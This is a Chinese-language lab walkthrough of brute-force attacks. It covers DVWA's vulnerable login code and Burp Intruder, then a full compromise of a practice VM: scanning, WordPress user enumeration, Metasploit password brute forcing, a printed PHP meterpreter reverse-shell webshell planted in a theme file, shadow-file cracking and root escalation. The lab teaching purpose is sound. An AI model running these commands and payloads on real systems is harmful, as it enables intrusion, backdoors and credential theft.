WEB安全实战(带靶场)–暴力破解
靶场一:DVWA中的暴力破解
靶场二:靶场实验 暴力破解
暴力破解百度云链接(失效请在评论区通知)
链接:https://pan.baidu.com/s/1FcNFC27VFBfQy0ZMnB_TAg
提取码:1234
Brute Force(暴力破解)
Brute Force是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击,Web安全中的暴力破解也是利用尝试所有的可能性最终获取正确的结果。
靶场一:DVWA中的暴力破解
源码解析
if( isset( $_GET[ 'Login' ] ) ) {
# 获取用户名和密码
$user = $_GET[ 'username' ];
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
# 查询验证用户名和密码
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
# 输出头像和用户名
$avatar = mysql_result( $result, 0, "avatar" );
echo "<p>Welcome to the password protected area {
$user}</p>";
}
else {
登录失败
}
mysql_close();
}
Isset
检测变量是否已声明并且其值不为 null
(https://www.php.net/manual/zh/function.isset.php)
若变量不存在则返回 FALSE
若变量存在且其值为NULL,也返回 FALSE
若变量存在且值不为NULL,则返回 TURE
同时检查多个变量时,每个单项都符合上一条要求时才返回 TRUE,否则结果为 FALSE
如果已经使用 unset() 释放了一个变量之后,它将不再是 isset()。
若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。同时要注意的是一个 NULL 字节("\0")并不等同于 PHP 的 NULL 常数。
$_GET 和 $_POST
PHP 超全局变量 $_GET 和 $_POST 用于收集表单数据
$_GET 是通过 URL 参数传递到当前脚本的变量数组。
$_POST 是通过 HTTP POST 传递到当前脚本的变量数组。
mysql_query() 函数
执行一条 MySQL 查询
mysql_error() 函数
返回上一个 MySQL 操作产生的文本错误信息。
mysql_num_rows() 函数
返回结果集中行的数目。
mysql_result()函数
返回结果集中一个字段的值,如果成功,则该函数返回字段值。如果失败,则返回 false。
综上所述:未做登录验证码以及登录次数限制,这是初级代码,还存在sql注入。
漏洞利用
第一步:使用burpsuite抓包
第二步:ctrl+I将包复制到intruder模块,因为要对username(为了节省时间这里直接用admin)和password参数进行爆破,所以在password参数的内容两边加$
第三步:选中Payloads,载入字典,点击Start attack进行爆破
获取到密码为password
实验一结束
靶场二:靶场实验 暴力破解
实验环境
攻击机:kali
IP:192.168.31.15
靶场机器:暴力破解.ova(Ubuntu)
IP:192.168.31.86
信息探测
扫描主机服务信息以及服务版本
nmap -T4 -A -v 靶场IP地址
探测敏感信息
nikto -host http://靶场IP地址:端口
扫描网页目录(这里后期补充换了一下ip,不影响观看)
dirb http://ip:端口
漏洞挖掘
打开WEB首页
查看站点敏感目录:/secret/
打开后台登录页面
漏洞利用
Wordpress用户名枚举(需要联网)
wpscan --url URL ----enumerate u
发现用户名admin
利用Metasploit 进行密码暴力破解
msfconsole
利用wordpress用户枚举模块
msf6 > use auxiliary/scanner/http/wordpress_login_enum
#设置登陆名为admin
msf6 auxiliary(scanner/http/wordpress_login_enum) > set username admin
#设置目标ip
msf6 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.31.86
#设置目标目录为/secret/
msf6 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/
#设置字典文件路径
msf6 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt
#开始攻击
msf6 auxiliary(scanner/http/wordpress_login_enum) > run
发现密码为admin
Tips:页面登陆 如果发现登陆页面跳转失败
修改host文件进行ip映射
顺利打开:用户名:admin 密码:admin
登陆成功
漏洞提权
生成webshell(php木马文件)
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f raw
源码附上
<?php /**/ error_reporting(0); $ip = '192.168.31.15'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{
$ip}:{
$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) {
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) {
die(); } $s_type = 'socket'; } if (!$s_type) {
die('no socket funcs'); } if (!$s) {
die('no socket'); } switch ($s_type) {
case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) {
die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) {
switch ($s_type) {
case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
$suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else {
eval($b); } die();
运行404.php文件
http://192.168.31.86/secret/wp-content/themes/twentyseventeen/404.php
Msf反弹shell
下载用户密码以及影子文件进行破解
获取到用户名以及密码:marlinspike (marlinspike)
shell提权(利用python模块pty)
python -c "import pty;pty.spawn('/bin/bash')"
切换为marlinspike用户
查看sudo权限
切换为root权限
获取到flag值 实验结束